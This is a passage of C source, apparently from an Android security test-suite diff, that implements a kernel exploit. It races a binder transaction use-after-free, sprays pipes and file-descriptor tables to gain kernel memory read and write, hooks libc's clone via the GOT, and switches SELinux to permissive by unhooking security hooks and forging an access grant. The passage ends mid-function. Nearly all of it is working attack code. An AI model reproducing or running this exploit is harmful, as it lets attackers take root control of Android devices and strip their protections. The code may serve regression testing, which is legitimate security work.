+        if (*s16++ != *s++)
+            return 0;
+    }
+    return !*s16;
+}
+
+void txn_bundle(txn_t *t, u32 *hnd) {
+    int len = txn_int(t);
+    if (len < 0)
+        fail("bad bundle len");
+    if (len == 0)
+        return;
+    int magic = txn_int(t);
+    if (magic != 0x4c444e42 && magic != 0x4c444e44)
+        fail("bad bundle magic");
+    binder_size_t off = txn_offset(t);
+    int count = txn_int(t);
+    if (count == 1) {
+        u16 *key = txn_str(t);
+        int type = txn_int(t);
+        if (str16_eq(key, "bnd") && type == 15)
+            *hnd = txn_handle(t);
+    }
+    txn_set_offset(t, off);
+    txn_get(t, len);
+}
+
+void txn_intent(txn_t *t, u32 *hnd) {
+    txn_str(t); // action
+    txn_uri(t);
+    txn_str(t); // type
+    txn_int(t); // flags
+    txn_str(t); // package
+    txn_component(t);
+    if (txn_int(t)) // source bounds
+        txn_rect(t);
+    int n = txn_int(t);
+    if (n > 0) {
+        for (int i = 0; i < n; i++)
+            txn_str(t);
+    }
+    if (txn_int(t)) // selector
+        txn_intent(t, NULL);
+    if (txn_int(t))
+        fail("unexpected clip data");
+    txn_int(t); // content user hint
+    txn_bundle(t, hnd); // extras
+}
+
+void get_task_info(int fd, u32 app_task, u32 *hnd) {
+    buf_t *trdat = new_buf();
+    buf_u32(trdat, 0); // policy
+    buf_str16(trdat, "android.app.IAppTask");
+    send_txn(fd, app_task, 1 + 1, trdat, NULL);
+    txn_t txn;
+    recv_txn(fd, &txn);
+    if (txn_u32(&txn) != 0)
+        fail("getTaskInfo exception");
+    if (txn_int(&txn) == 0)
+        fail("getTaskInfo returned null");
+    txn_int(&txn); // id
+    txn_int(&txn); // persistent id
+    if (txn_int(&txn) > 0) // base intent
+        txn_intent(&txn, hnd);
+    if (*hnd != ~0u)
+        inc_ref(fd, *hnd);
+    free_txn(&txn);
+}
+
+u32 get_app_tasks(int fd, u32 actsvc) {
+    buf_t *trdat = new_buf();
+    buf_u32(trdat, 0); // policy
+    buf_str16(trdat, "android.app.IActivityManager");
+    buf_str16(trdat, "android.security.cts");
+    send_txn(fd, actsvc, 1 + 199, trdat, NULL);
+    txn_t txn;
+    recv_txn(fd, &txn);
+    if (txn_u32(&txn) != 0)
+        fail("getAppTasks exception");
+    int n = txn_int(&txn);
+    if (n < 0)
+        fail("getAppTasks n < 0");
+    u32 hnd = ~0u;
+    for (int i = 0; i < n; i++) {
+        u32 app_task = txn_handle(&txn);
+        get_task_info(fd, app_task, &hnd);
+        if (hnd != ~0u)
+            break;
+    }
+    if (hnd == ~0u)
+        fail("didn't find intent extras binder");
+    free_txn(&txn);
+    return hnd;
+}
+
+u32 get_exchg(int fd) {
+    u32 actsvc = get_activity_svc(fd);
+    u32 ret = get_app_tasks(fd, actsvc);
+    dec_ref(fd, actsvc);
+    return ret;
+}
+
+int get_binder(u32 *exchg) {
+    int fd = open_binder();
+    *exchg = get_exchg(fd);
+    return fd;
+}
+
+void exchg_put_binder(int fd, u32 exchg) {
+    buf_t *trdat = new_buf();
+    buf_t *troff = new_buf();
+    buf_u32(trdat, 0); // policy
+    buf_str16(trdat, "android.security.cts.IBinderExchange");
+    buf_binder(trdat, troff, (void*)1);
+    send_txn(fd, exchg, 1, trdat, troff);
+    txn_t txn;
+    recv_txn(fd, &txn);
+    free_txn(&txn);
+}
+
+u32 exchg_get_binder(int fd, u32 exchg) {
+    buf_t *trdat = new_buf();
+    buf_u32(trdat, 0); // policy
+    buf_str16(trdat, "android.security.cts.IBinderExchange");
+    send_txn(fd, exchg, 2, trdat, NULL);
+    txn_t txn;
+    recv_txn(fd, &txn);
+    if (txn_u32(&txn) != 0)
+        fail("getBinder exception");
+    u32 hnd = txn_handle(&txn);
+    inc_ref(fd, hnd);
+    free_txn(&txn);
+    return hnd;
+}
+
+void set_idle() {
+  struct sched_param param = {
+    .sched_priority = 0
+  };
+  if (sched_setscheduler(0, SCHED_IDLE, &param) < 0)
+    fail("sched_setscheduler fail");
+}
+
+int do_set_cpu(int cpu) {
+    cpu_set_t set;
+    CPU_ZERO(&set);
+    CPU_SET(cpu, &set);
+    return sched_setaffinity(0, sizeof(set), &set);
+}
+
+void set_cpu(int cpu) {
+    if (do_set_cpu(cpu) < 0)
+        fail("sched_setaffinity fail");
+}
+
+struct sync {
+    pthread_cond_t cond;
+    pthread_mutex_t mutex;
+    volatile int triggered;
+    size_t num_waiters;
+    volatile size_t num_waited;
+    volatile size_t num_done;
+};
+
+typedef struct sync sync_t;
+
+sync_t *alloc_sync() {
+    sync_t *ret = malloc(sizeof(sync_t));
+    if (pthread_mutex_init(&ret->mutex, NULL) ||
+        pthread_cond_init(&ret->cond, NULL))
+        fail("pthread init failed");
+    ret->triggered = 0;
+    ret->num_waiters = 1;
+    ret->num_waited = 0;
+    ret->num_done = 0;
+    return ret;
+}
+
+void sync_set_num_waiters(sync_t *sync, size_t num_waiters) {
+    sync->num_waiters = num_waiters;
+}
+
+void sync_pth_bc(sync_t *sync) {
+    if (pthread_cond_broadcast(&sync->cond) != 0)
+        fail("pthread_cond_broadcast failed");
+}
+
+void sync_pth_wait(sync_t *sync) {
+    pthread_cond_wait(&sync->cond, &sync->mutex);
+}
+
+void sync_wait(sync_t *sync) {
+    pthread_mutex_lock(&sync->mutex);
+    sync->num_waited++;
+    sync_pth_bc(sync);
+    while (!sync->triggered)
+        sync_pth_wait(sync);
+    pthread_mutex_unlock(&sync->mutex);
+}
+
+void sync_signal(sync_t *sync) {
+    pthread_mutex_lock(&sync->mutex);
+    while (sync->num_waited != sync->num_waiters)
+        sync_pth_wait(sync);
+    sync->triggered = 1;
+    sync_pth_bc(sync);
+    pthread_mutex_unlock(&sync->mutex);
+}
+
+void sync_done(sync_t *sync) {
+    pthread_mutex_lock(&sync->mutex);
+    sync->num_done++;
+    sync_pth_bc(sync);
+    while (sync->triggered)
+        sync_pth_wait(sync);
+    pthread_mutex_unlock(&sync->mutex);
+}
+
+void sync_wait_done(sync_t *sync) {
+    pthread_mutex_lock(&sync->mutex);
+    while (sync->num_done != sync->num_waiters)
+        sync_pth_wait(sync);
+    sync->triggered = 0;
+    sync->num_waited = 0;
+    sync->num_done = 0;
+    sync_pth_bc(sync);
+    pthread_mutex_unlock(&sync->mutex);
+}
+
+static inline void ns_to_timespec(u64 t, struct timespec *ts) {
+    const u64 k = 1000000000;
+    ts->tv_sec = t / k;
+    ts->tv_nsec = t % k;
+}
+
+static inline u64 timespec_to_ns(volatile struct timespec *t) {
+     return (u64)t->tv_sec * 1000000000 + t->tv_nsec;
+}
+
+static inline u64 time_now() {
+    struct timespec now;
+    if (clock_gettime(CLOCK_MONOTONIC, &now) < 0)
+        fail("clock_gettime failed");
+    return timespec_to_ns(&now);
+}
+
+static inline void sleep_until(u64 t) {
+    struct timespec wake;
+    ns_to_timespec(t, &wake);
+    int ret = clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &wake, NULL);
+    if (ret && ret != EINTR)
+        fail("clock_nanosleep failed");
+}
+
+void set_thread_name(const char *name) {
+    if (prctl(PR_SET_NAME, name) < 0)
+        fail("pr_set_name fail");
+}
+
+void set_timerslack() {
+    char path[64];
+    sprintf(path, "/proc/%d/timerslack_ns", gettid());
+    int fd = open(path, O_WRONLY);
+    if (fd < 0)
+        fail("open timerslack fail");
+    if (write(fd, "1\n", 2) != 2)
+        fail("write timeslack fail");
+    close(fd);
+}
+
+struct launch_dat {
+    u64 arg;
+    void (*func)(u64);
+    int attach_jni;
+    const char *name;
+};
+
+void *thread_start(void *vdat) {
+    struct launch_dat *dat = vdat;
+    if (dat->attach_jni)
+        jni_attach_thread();
+    set_thread_name(dat->name);
+    void (*func)(u64) = dat->func;
+    u64 arg = dat->arg;
+    free(dat);
+    (*func)(arg);
+    return NULL;
+}
+
+int launch_thread(const char *name, void (*func)(u64), sync_t **sync, u64 arg,
+        int attach_jni) {
+    if (sync)
+        *sync = alloc_sync();
+    struct launch_dat *dat = malloc(sizeof(*dat));
+    dat->func = func;
+    dat->arg = arg;
+    dat->attach_jni = attach_jni;
+    dat->name = name;
+    pthread_t th;
+    if (pthread_create(&th, NULL, thread_start, dat) != 0)
+        fail("pthread_create failed");
+    return pthread_gettid_np(th);
+}
+
+void *map_path(const char *path, u64 *size) {
+    int fd = open(path, O_RDONLY);
+    if (fd < 0)
+        fail("open libc fail");
+    struct stat st;
+    if (fstat(fd, &st) < 0)
+        fail("fstat fail");
+    void *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
+    if (map == MAP_FAILED)
+        fail("mmap libc fail");
+    *size = st.st_size;
+    close(fd);
+    return map;
+}
+
+typedef Elf64_Ehdr ehdr_t;
+typedef Elf64_Shdr shdr_t;
+typedef Elf64_Rela rela_t;
+typedef Elf64_Sym sym_t;
+
+shdr_t *find_rela_plt(void *elf) {
+    ehdr_t *ehdr = (ehdr_t *)elf;
+    shdr_t *shdr = ((shdr_t *)elf) + ehdr->e_shoff;
+    char *shstr = ((char *)elf) + shdr[ehdr->e_shstrndx].sh_offset;
+    for (u64 i = 0; i < ehdr->e_shnum; i++) {
+        char *name = shstr + shdr[i].sh_name;
+        if (strcmp(name, ".rela.plt") == 0)
+            return &shdr[i];
+    }
+    fail("didn't find .rela.plt");
+    return NULL;
+}
+
+u64 find_elf_clone_got(const char *path) {
+    u64 mapsz;
+    void *elf = map_path(path, &mapsz);
+    ehdr_t *ehdr = (ehdr_t *)elf;
+    shdr_t *shdr = ((shdr_t *)elf) + ehdr->e_shoff;
+    shdr_t *rphdr = find_rela_plt(elf);
+    if (rphdr == NULL) {
+        return (u64)0;
+    }
+    shdr_t *symhdr = &shdr[rphdr->sh_link];
+    shdr_t *strhdr = &shdr[symhdr->sh_link];
+    sym_t *sym = ((sym_t *)elf) + symhdr->sh_offset;
+    char *str = ((char *)elf) + strhdr->sh_offset;
+    rela_t *r = ((rela_t *)elf) + rphdr->sh_offset;
+    rela_t *end = r + rphdr->sh_size / sizeof(rela_t);
+    u64 ret = 0;
+    for (; r < end; r++) {
+        sym_t *s = &sym[ELF64_R_SYM(r->r_info)];
+        if (strcmp(str + s->st_name, "clone") == 0) {
+            ret = r->r_offset;
+            break;
+        }
+    }
+    if (!ret) {
+        fail("clone rela not found");
+        return (u64)0;
+    }
+    if (munmap(elf, mapsz) < 0) {
+        fail("munmap fail");
+        return (u64)0;
+    }
+    return ret;
+}
+
+int hook_tid;
+int (*real_clone)(u64 a, u64 b, int flags, u64 c, u64 d, u64 e, u64 f);
+
+int clone_unshare_files(u64 a, u64 b, int flags, u64 c, u64 d, u64 e, u64 f) {
+    if (gettid() == hook_tid)
+        flags &= ~CLONE_FILES;
+    return (*real_clone)(a, b, flags, c, d, e, f);
+}
+
+void unshare_following_clone_files() {
+    hook_tid = gettid();
+}
+
+void hook_clone() {
+    void *p = (void*)((uintptr_t)clone & ~0xffful);
+    while (*(u32*)p != 0x464c457f)
+        p = (void *)(((u32 *)p) - 0x1000);
+    u64 *got = ((u64 *)p) + find_elf_clone_got("/system/lib64/libc.so");
+    if (*got != (u64)clone)
+        fail("bad got");
+    real_clone = (void*)clone;
+    void *page = (void*)((u64)got & ~0xffful);
+    if (mprotect(page, 0x1000, PROT_READ | PROT_WRITE) < 0) {
+        fail("got mprotect fail");
+        return;
+    }
+    *got = (u64)clone_unshare_files;
+}
+
+u32 r32(u64 addr);
+u64 r64(u64 addr);
+void w64(u64 addr, u64 val);
+void w128(u64 addr, u64 v1, u64 v2);
+u64 scratch;
+u64 rw_task;
+u64 current;
+u64 fdarr;
+
+void hlist_del(u64 node) {
+    u64 next = r64(node);
+    u64 pprev = r64(node + 8);
+    if (r64(pprev) != node) {
+        fail("bad hlist");
+        return;
+    }
+    w64(pprev, next);
+    if (next)
+        w64(next + 8, pprev);
+}
+
+u64 get_file(int fd) {
+    return r64(fdarr + fd * 8);
+}
+
+u64 first_bl(u64 func) {
+    for (int i = 0; i < 30; i++) {
+        u32 inst = r32(func + i * 4);
+        if ((inst >> 26) == 0x25) { // bl
+            s64 off = inst & ((1u << 26) - 1);
+            off <<= 64 - 26;
+            off >>= 64 - 26;
+            return func + i * 4 + off * 4;
+        }
+    }
+    fail("bl not found");
+    return (u64)-1;
+}
+
+int is_adrp(u32 inst) {
+    return ((inst >> 24) & 0x9f) == 0x90;
+}
+
+u64 parse_adrp(u64 p, u32 inst) {
+    s64 off = ((inst >> 5) & ((1u << 19) - 1)) << 2;
+    off |= (inst >> 29) & 3;
+    off <<= (64 - 21);
+    off >>= (64 - 21 - 12);
+    return (p & ~0xffful) + off;
+}
+
+u64 find_adrp_add(u64 addr) {
+    time_t test_started = start_timer();
+    while (timer_active(test_started)) {
+        u32 inst = r32(addr);
+        if (is_adrp(inst)) {
+            u64 ret = parse_adrp(addr, inst);
+            inst = r32(addr + 4);
+            if ((inst >> 22) != 0x244) {
+                fail("not add after adrp");
+                return (u64)-1;
+            }
+            ret += (inst >> 10) & ((1u << 12) - 1);
+            return ret;
+        }
+        addr += 4;
+    }
+    fail("adrp add not found");
+    return (u64)-1;
+}
+
+u64 locate_hooks() {
+    char path[256];
+    DIR *d = opendir("/proc/self/map_files");
+    char *p;
+    while (1) {
+        struct dirent *l = readdir(d);
+        if (!l)
+            fail("readdir fail");
+        p = l->d_name;
+        if (strcmp(p, ".") && strcmp(p, ".."))
+            break;
+    }
+    sprintf(path, "/proc/self/map_files/%s", p);
+    closedir(d);
+    int fd = open(path, O_PATH | O_NOFOLLOW | O_RDONLY);
+    if (fd < 0)
+        fail("link open fail");
+    struct stat st;
+    if (fstat(fd, &st) < 0)
+        fail("fstat fail");
+    if (!S_ISLNK(st.st_mode))
+        fail("link open fail");
+    u64 file = get_file(fd);
+    u64 inode = r64(file + 0x20);
+    u64 iop = r64(inode + 0x20);
+    u64 follow_link = r64(iop + 8);
+    u64 cap = first_bl(follow_link);
+    u64 scap = first_bl(cap);
+    if (cap == (u64)-1 || scap == (u64)-1) {
+        dbg("cap=%016zx", cap);
+        dbg("scap=%016zx", scap);
+        return (u64)-1;
+    }
+    u64 hooks = find_adrp_add(scap);
+    close(fd);
+    dbg("hooks=%016zx", hooks);
+    return hooks;
+}
+
+void unhook(u64 hooks, int idx) {
+    u64 hook = hooks + idx * 0x10;
+    w128(hook, hook, hook);
+}
+
+u64 locate_avc(u64 hooks) {
+    u64 se_file_open = r64(r64(hooks + 0x490) + 0x18);
+    u64 seqno = first_bl(se_file_open);
+    if (seqno == (u64)-1) {
+        dbg("seqno=%016zx", seqno);
+        return (u64)-1;
+    }
+    u64 avc = find_adrp_add(seqno);
+    dbg("avc=%016zx", avc);
+    return avc;
+}
+
+u32 get_sid() {
+    u64 real_cred = r64(current + 0x788);
+    u64 security = r64(real_cred + 0x78);
+    u32 sid = r32(security + 4);
+    dbg("sid=%u", sid);
+    return sid;
+}
+
+struct avc_node {
+    u32 ssid;
+    u32 tsid;
+    u16 tclass;
+    u16 pad;
+    u32 allowed;
+};
+
+u64 grant(u64 avc, u32 ssid, u32 tsid, u16 class) {
+    struct avc_node n;
+    n.ssid = ssid;
+    n.tsid = tsid;
+    n.tclass = class;
+    n.pad = 0;
+    n.allowed = ~0u;
+    u64 node = scratch;
+    for (int i = 0; i < 9; i++)
+        w64(node + i * 8, 0);
+    u64 *src = (u64*)&n;
+    w64(node, src[0]);
+    w64(node + 8, src[1]);
+    int hash = (ssid ^ (tsid<<2) ^ (class<<4)) & 0x1ff;
+    u64 head = avc + hash * 8;
+    u64 hl = node + 0x28;
+    u64 first = r64(head);
+    w128(hl, first, head);
+    if (first)
+        w64(first + 8, hl);
+    w64(head, hl);
+    dbg("granted security sid");
+    return hl;
+}
+
+int enforce() {
+    int fd = open("/sys/fs/selinux/enforce", O_RDONLY);
+    if (fd < 0)
+        return 1;
+    dbg("enforce=%d", fd);
+    char buf;
+    if (read(fd, &buf, 1) != 1)
+        return 1;
+    close(fd);
+    return buf == '1';
+}
+
+void disable_enforce() {
+    int fd = open("/sys/fs/selinux/enforce", O_WRONLY);
+    if (fd >= 0) {
+        write(fd, "0", 1);
+        close(fd);
+    }
+    if (enforce())
+        fail("failed to switch selinux to permissive");
+    dbg("selinux now permissive");
+}
+
+void disable_selinux() {
+    if (!enforce()) {
+        dbg("selinux already permissive");
+        return;
+    }
+    u64 hooks = locate_hooks();
+    if (hooks == (u64)-1) {
+        return;
+    }
+    u64 avc = locate_avc(hooks);
+    if (avc == (u64)-1) {
+        return;
+    }
+    unhook(hooks, 0x08); // capable
+    unhook(hooks, 0x2f); // inode_permission
+    unhook(hooks, 0x3d); // file_permission
+    unhook(hooks, 0x49); // file_open
+    u64 avcnode = grant(avc, get_sid(), 2, 1);
+    disable_enforce();
+    hlist_del(avcnode);
+}
+
+#define PIPES 8
+#define STAGE2_THREADS 64
+
+int cpumask;
+int cpu1;
+int cpu2;
+int tot_cpus;
+const char *pipedir;
+char *pipepath;
+char *pipeid;
+int pipefd[PIPES];
+sync_t *free_sync;
+sync_t *poll_sync;
+sync_t *stage2_sync1;
+sync_t *stage2_sync2;
+sync_t *rw_thread_sync;
+int bnd1, bnd2;
+u32 to1;
+u64 free_ptr;
+u64 trigger_time;
+int total_txns;
+int bad_pipe;
+int uaf_pipe;
+volatile int uaf_alloc_success;
+u64 pipe_inode_info;
+int rw_thread_tid;
+volatile int rw_cmd;
+volatile int rw_bit;
+volatile int rw_val;
+u64 free_data;
+u64 next_free_data;
+
+void select_cpus() {
+    cpu1 = cpu2 = -1;
+    for (int i = 7; i >= 0; i--) {
+        if (do_set_cpu(i) < 0)
+            continue;
+        cpumask |= (1 << i);
+        if (cpu1 < 0)
+            cpu1 = i;
+        else if (cpu2 < 0)
+            cpu2 = i;
+        tot_cpus++;
+    }
+    if (cpu1 < 0 || cpu2 < 0) {
+        fail("huh, couldn't find 2 cpus");
+    }
+    dbg("cpumask=%02x cpu1=%d cpu2=%d", cpumask, cpu1, cpu2);
+}
+
+void rw_thread(u64 idx);
+void free_thread(u64 arg);
+void poll_thread(u64 arg);
+
+int cpu_available(int cpu) {
+    return !!(cpumask & (1 << cpu));
+}
+
+void hog_cpu_thread(u64 arg) {
+    set_cpu(cpu2);
+    time_t test_started = start_timer();
+    while (timer_active(test_started)) {
+    }
+}
+
+void launch_threads() {
+    launch_thread("txnuaf.log", log_thread, NULL, 0, 1);
+    launch_thread("txnuaf.hog", hog_cpu_thread, NULL, 0, 1);
+    launch_thread("txnuaf.free", free_thread, &free_sync, 0, 1);
+    launch_thread("txnuaf.poll", poll_thread, &poll_sync, 0, 1);
+    rw_thread_tid = launch_thread("txnuaf.rw", rw_thread, &rw_thread_sync, 0, 0);
+}
+
+void open_binders() {
+    u32 xchg;
+    bnd1 = get_binder(&xchg);
+    exchg_put_binder(bnd1, xchg);
+    dec_ref(bnd1, xchg);
+    bnd2 = get_binder(&xchg);
+    to1 = exchg_get_binder(bnd2, xchg);
+    dec_ref(bnd1, xchg);
+}
+
+void make_pipe_path() {
+    size_t l = strlen(pipedir);
+    pipepath = malloc(l + 4); // "/pd\0"
+    strcpy(pipepath, pipedir);
+    pipepath[l++] = '/';
+    pipeid = pipepath + l;
+}
+
+int open_pipe(int idx) {
+    if (!pipepath)
+        make_pipe_path();
+    sprintf(pipeid, "p%d", idx);
+    int fd = open(pipepath, O_RDWR);
+    if (fd < 0)
+        fail("pipe open fail");
+    return fd;
+}
+
+void open_pipes() {
+    for (int i = 0; i < PIPES; i++)
+        pipefd[i] = open_pipe(i);
+}
+
+int do_poll(int fd, int timeout) {
+    struct pollfd pfd;
+    pfd.fd = fd;
+    pfd.events = 0;
+    pfd.revents = 0;
+    if (poll(&pfd, 1, timeout) < 0)
+        fail("pipe poll fail");
+    return pfd.revents;
+}
+
+int find_bad_pipe() {
+    for (int i = 0; i < PIPES; i++) {
+        if (do_poll(pipefd[i], 0) & POLLHUP) {
+            dbg("corrupted pipe at %d", i);
+            bad_pipe = pipefd[i];
+            sprintf(pipeid, "p%d", i);
+            return 1;
+        }
+    }
+    return 0;
+}
+
+void close_pipes() {
+    for (int i = 0; i < PIPES; i++) {
+        if (close(pipefd[i]) < 0)
+            fail("close pipe fail, i=%d fd=%d", i, pipefd[i]);
+    }
+}
+
+void free_thread(u64 arg) {
+    set_timerslack();
+    set_cpu(cpu1);
+    set_idle();
+    time_t test_started = start_timer();
+    while (timer_active(test_started)) {
+        sync_wait(free_sync);
+        buf_t *buf = new_buf();
+        buf_u32(buf, BC_FREE_BUFFER);
+        buf_uintptr(buf, free_ptr);
+        struct binder_write_read bwr;
+        memset(&bwr, 0x00, sizeof(bwr));
+        bwr.write_buffer = (u64)buf->p;
+        bwr.write_size = buf->off;
+        int off = cpu1 < 4 ? 1300 : 350;
+        u64 target_time = trigger_time - off;
+        while (time_now() < target_time)
+            ;
+        ioctl(bnd1, BINDER_WRITE_READ, &bwr);
+        free_buf(buf);
+        sync_done(free_sync);
+    }
+};
+
+void race_cycle() {
+    dbg("race cycle, this may take time...");
+    time_t test_started = start_timer();
+    while (timer_active(test_started)) {
+        send_txn(bnd2, to1, 0, NULL, NULL);
+        txn_t t1, t2;
+        recv_txn(bnd1, &t1);
+        free_ptr = txn_buf(&t1);
+        trigger_time = time_now() + 100000;
+        sync_signal(free_sync);
+        sleep_until(trigger_time);
+        send_reply(bnd1);
+        open_pipes();
+        recv_txn(bnd2, &t2);
+        free_txn(&t2);
+        sync_wait_done(free_sync);
+        if (find_bad_pipe())
+            break;
+        close_pipes();
+    }
+}
+
+void reopen_pipe() {
+    uaf_pipe = open(pipepath, O_WRONLY);
+    if (uaf_pipe < 0)
+        fail("reopen pipe fail");
+}
+
+void stage2_thread(u64 cpu);
+
+void stage2_launcher(u64 arg) {
+    dup2(uaf_pipe, 0);
+    dup2(bnd1, 1);
+    dup2(bnd2, 2);
+    for (int i = 3; i < 1024; i++)
+        close(i);
+    unshare_following_clone_files();
+    int cpu_count =  android_getCpuCount();
+    for (int cpu = 0; cpu < cpu_count; cpu++) {
+        if (cpu_available(cpu)) {
+            for (int i = 0; i < STAGE2_THREADS; i++)
+                launch_thread("txnuaf.stage2", stage2_thread, NULL, cpu, 0);
+        }
+    }
+}
+
+void signal_xpl_threads() {
+    sync_signal(stage2_sync1);
+    sync_wait_done(stage2_sync1);
+    sync_signal(stage2_sync2);
+    sync_wait_done(stage2_sync2);
+}
+
+void launch_stage2_threads() {
+    stage2_sync1 = alloc_sync();
+    stage2_sync2 = alloc_sync();
+    sync_set_num_waiters(stage2_sync1, STAGE2_THREADS);
+    sync_set_num_waiters(stage2_sync2, (tot_cpus - 1) * STAGE2_THREADS);
+    hook_clone();
+    unshare_following_clone_files();
+    launch_thread("txnuaf.stage2_launcher", stage2_launcher, NULL, 0, 0);
+    // set cpu
+    signal_xpl_threads();
+}
+
+void alloc_txns(int n) {
+    total_txns += n;
+    size_t totsz = n * (4 + sizeof(struct binder_transaction_data));
+    buf_t *buf = new_buf_sz(totsz);
+    for (int i = 0; i < n; i++) {
+        buf_u32(buf, BC_TRANSACTION);
+        struct binder_transaction_data *tr;
+        tr = buf_alloc(buf, sizeof(*tr));
+        tr->target.handle = to1;
+        tr->code = 0;
+        tr->flags |= TF_ONE_WAY;
+        tr->data.ptr.buffer = 0;
+        tr->data.ptr.offsets = 0;
+        tr->data_size = 0;
+        tr->offsets_size = 0;
+    }
+    binder_write(bnd2, buf);
+}
+
+void recv_all_txns(int fd) {
+    for (int i = 0; i < total_txns; i++) {
+        txn_t t;
+        recv_txn(fd, &t);
+        free_txn(&t);
+    }
+}
+
+void clean_slab() {
+    // clean node
+    alloc_txns(4096);
+    // clean each cpu
+    int cpu_count =  android_getCpuCount();
+    for (int i = 0; i < cpu_count; i++) {
+        if (cpu_available(i)) {
+            set_cpu(i);
+            alloc_txns(512);
+        }
+    }
+    set_cpu(cpu1);
+    // for good measure
+    alloc_txns(128);
+}
+
+void poll_thread(u64 arg) {
+    set_timerslack();
+    sync_wait(poll_sync);
+    do_poll(uaf_pipe, 200);
+    dbg("poll timeout");
+    sync_done(poll_sync);
+}
+
+void free_pipe_alloc_fdmem() {
+    clean_slab();
+    sync_signal(poll_sync);
+    usleep(50000);
+    if (close(bad_pipe) < 0) {
+        fail("free close fail");
+        return;
+    }
+    // alloc fdmem
+    signal_xpl_threads();
+    // set all bits
+    signal_xpl_threads();
+    dbg("fdmem spray done");
+    sync_wait_done(poll_sync);
+    recv_all_txns(bnd1);
+}
+
+void find_pipe_slot_thread() {
+    signal_xpl_threads();
+    if (!uaf_alloc_success)
+        fail("inode_info uaf alloc fail - this may sometimes happen, "
+             "kernel may crash after you close the app");
+}
+
+void set_all_bits() {
+    for (int i = 0x1ff; i >= 3; i--)
+        if (dup2(1, i) < 0)
+            fail("dup2 fail, fd=%d", i);
+}
+
+void winfo32_lo(int addr, u32 dat) {
+    int startbit = addr ? 0 : 3;
+    addr *= 8;
+    for (int i = startbit; i < 32; i++) {
+        int fd = addr + i;
+        if (dat & (1ul << i)) {
+            if (dup2(1, fd) < 0)
+                fail("winfo dup2 fail, fd=%d", fd);
+        } else {
+            if (close(fd) < 0 && errno != EBADF)
+                fail("winfo close fail, fd=%d", fd);
+        }
+    }
+}
+
+void winfo32_hi(int addr, u32 dat) {
+    addr *= 8;
+    for (int i = 0; i < 32; i++) {
+        u32 bit = dat & (1u << i);
+        int fd = addr + i;
+        if (fcntl(fd, F_SETFD, bit ? FD_CLOEXEC : 0) < 0) {
+            if (errno != EBADF || bit)
+                fail("winfo fcntl fail fd=%d", fd);
+        }
+    }
+}
+
+void winfo32(int addr, u32 dat) {
+    if (addr < 0x40)
+        winfo32_lo(addr, dat);
+    else
+        winfo32_hi(addr - 0x40, dat);
+}
+
+void winfo64(int addr, u64 dat) {
+    winfo32(addr, dat);
+    winfo32(addr + 4, dat >> 32);
+}
+
+u64 rinfo64(int addr) {
+    addr *= 8;
+    u64 ret = 0;
+    for (int i = 0; i < 64; i++) {
+        int fd = addr + i;
+        fd_set set;
+        FD_ZERO(&set);
+        FD_SET(fd, &set);
+        struct timeval timeout;
+        timeout.tv_sec = 0;
+        timeout.tv_usec = 0;
+        if (select(fd + 1, &set, NULL, NULL, &timeout) >= 0)
+            ret |= 1ul << i;
+        else if (errno != EBADF)
+            fail("leak select fail");
+    }
+    return ret;
+}
+
+int files_off = 0x30;
+int file_off = 0x48;
+int fdt_off = 0x58;
+int fmode_off = 0x78;
+int faoff = 0x10;
+
+void set_pipe_mutex_count(u32 count) {
+    winfo32(0, count);
+}
+
+void set_pipe_nrbufs(u32 nrbufs) {
+    winfo32(0x40, nrbufs);
+}
+
+void set_pipe_curbuf(u32 curbuf) {
+    winfo32(0x44, curbuf);
+}
+
+void set_pipe_buffers(u32 buffers) {
+    winfo32(0x48, buffers);
+}
+
+void set_pipe_readers(u32 readers) {
+    winfo32(0x4c, readers);
+}
+
+void set_pipe_fasync_readers(u64 fasync_readers) {
+    winfo64(0x70, fasync_readers);
+}
+
+void set_pipe_wait_next(u64 next) {
+    winfo64(0x30, next);
+}
+
+u64 get_pipe_wait_next() {
+    return rinfo64(0x30);
+}
+
+void set_fa_magic(u32 magic) {
+    winfo32(faoff + 4, magic);
+}
+
+void set_fa_next(u64 next) {
+    winfo64(faoff + 0x10, next);
+}
+
+void set_fa_file(u64 file) {
+    winfo64(faoff + 0x18, file);
+}
+
+u64 get_mutex_owner() {
+    return rinfo64(0x18);
+}
+
+void set_files_count(int count) {
+    winfo32(files_off, count);
+}
+
+void set_files_fdt(u64 fdt) {
+    winfo64(files_off + 0x20, fdt);
+}
+
+void set_fdt_max_fds(u32 max_fds) {
+    winfo32(fdt_off, max_fds);
+}
+
+void set_fdt_fdarr(u64 fdarr) {
+    winfo64(fdt_off + 8, fdarr);
+}
+
+void set_fdt_close_on_exec(u64 close_on_exec) {
+    winfo64(fdt_off + 0x10, close_on_exec);
+}
+
+void set_file_fmode(u32 fmode) {
+    winfo32(fmode_off, fmode);
+}
+
+void set_file(u64 file) {
+    winfo64(file_off, file);
+}
+
+void stage2();
+
+void stage2_thread(u64 cpu) {
+    sync_t *sync = cpu == cpu1 ? stage2_sync1 : stage2_sync2;
+    sync_wait(sync);
+    do_set_cpu(cpu);
+    sync_done(sync);
+
+    sync_wait(sync);
+    if (dup2(1, 0x1ff) < 0) {
+        fail("dup2 fail");
+        return;
+    }
+    sync_done(sync);
+
+    sync_wait(sync);
+    set_all_bits();
+    sync_done(sync);
+
+    sync_wait(sync);
+    u64 wait_list = get_pipe_wait_next();
+    int ok = wait_list != -1l;
+    if (ok) {
+        uaf_alloc_success = 1;
+        pipe_inode_info = wait_list - 0x30;
+        dbg("pipe_inode_info=%016zx", pipe_inode_info);
+    }
+    sync_done(sync);
+    if (ok)
+        stage2();
+}
+
+void write_pipe_ptr_to(u64 addr) {
+    set_pipe_wait_next(addr - 8);
+    do_poll(0, 50);
+}
+
+void overwrite_pipe_bufs() {
+    write_pipe_ptr_to(pipe_inode_info + 0x80);
+}
+
+void leak_task_ptr() {
+    set_pipe_mutex_count(0x7);
+    set_pipe_wait_next(pipe_inode_info + 0x30);
+    u64 faptr = pipe_inode_info + faoff;
+    set_pipe_fasync_readers(faptr);
+    set_pipe_nrbufs(3);
+    set_pipe_curbuf(0);
+    set_pipe_buffers(4);
+    set_pipe_readers(1);
+    set_fa_magic(0x4601);
+    set_fa_next(faptr);
+    set_fa_file(0xfffffffful); // overlaps with inode_info.wait.lock
+    sync_signal(rw_thread_sync);
+    // wait for rw thread to write mutex owner
+    usleep(100000);
+    rw_task = get_mutex_owner();
+    dbg("rw_task=%016zx", rw_task);
+    // unblock rw thread
+    set_fa_magic(0);
+    if (syscall(SYS_tkill, rw_thread_tid, SIGUSR2) < 0)
